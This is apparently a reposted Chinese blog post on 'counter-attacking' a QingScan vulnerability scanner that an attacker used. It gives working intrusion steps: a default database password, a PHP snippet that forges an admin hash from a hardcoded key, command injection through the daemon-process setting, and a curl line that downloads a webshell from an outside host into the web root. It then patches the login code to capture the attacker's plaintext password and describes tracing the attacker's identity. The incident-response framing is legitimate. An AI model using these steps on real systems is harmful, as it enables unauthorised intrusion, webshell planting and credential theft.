Hi,大家好,我是编程小6,很荣幸遇见你,我把这些年在开发过程中遇到的问题或想法写出来,今天说一说
开源扫描工具_静态代码扫描,希望能够帮助你!!!。
在某次应急中发现攻击者使用了QingScan扫描器对目标资产进行扫描攻击,本篇文章简单描述应急过程中对该扫描器的反制方法和溯源思路(本地测试环境进行复现)
扫描器启动时存在两个服务,一个是扫描服务,另外一个是数据库服务。
由于目标扫描器用docker启动,启动时的参数容易被忽略,导致开放的33306端口的数据库服务存在默认的弱口令: root/123。这也是本次反制过程中最关键的点
由于需要取证确实为该服务器存在对目标服务进行漏洞扫描行为,所以需要进入后台更直观地看到扫描项目信息。
后端代码对用户密码进行了加密处理,在未成功爆破出有效密码的情况下,选择了自己生成密码hash并将数据库中已有的密码Hash进行替换的方案
登录处密码处理逻辑如下
从图中代码可以想到用于身份校验的数据库中的密码hash与密码、用户名明文和UC_AUTH_KEY相关
其中UC_AUTH_KEY为硬编码存放在code/config/app.php中
最后通过ucenter_md5方法生成最终的密码Hash
简化逻辑如下
<?php $str = "admin@123"."admin";//$password.$username $key = "xt1l3a21uo0tu2oxtds3wWte23dsxix2d3in7yuhui32yuapatmdsnnzdazh1612ongxxin2z"; echo md5(md5(sha1($str) . $key)."###xt"); //e9e6a217f80fa90c39aab646
替换Hash后成功登录管理后台
在对代码进行审计的过程中,发现code/app/common.php#systemLog存在命令执行点
在 /code/app/model/ProcessSafeModel.php中被调用
后台对应的功能点为:系统设置-守护进程管理-添加守护进程,value字段即可执行的命令参数
利用curl远程请求web获取webshell输出到目标web目录(/root/qingscan/code/public/)
curl http://host/info.txt -o /root/qingscan/code/public/12121.php
上传成功后获取到目标服务器部分权限
由于目标权限在docker内,没有通过shell获取到其他有用的信息。但服务器中还部署了其他的服务,
所以拿到shell后修改了这套程序的登陆逻辑,登陆成功后会记录攻击者本人的明文密码,方便后续对攻击服务器中的其他服务进行爆破
在登录逻辑处修改相关代码,若攻击者账号成功登录,会将密码保存至网站根目录code.txt文件内
效果如下
但在真实环境等待几天后攻击者并没有登录,服务器也随之关闭。反制到此结束
针对该扫描器功能的溯源思路如下
在本次应急过程中,攻击者在扫描器后台配置了fofa的API信息,通过邮箱(号@.com)找到了攻击者的具体的身份信息和常用id
该扫描器存在登录日志功能,可以通过记录的ip对攻击者进行模糊定位。
今天的分享到此就结束了,感谢您的阅读,如果确实帮到您,您可以动动手指转发给其他人。
上一篇
已是最后文章
下一篇
已是最新文章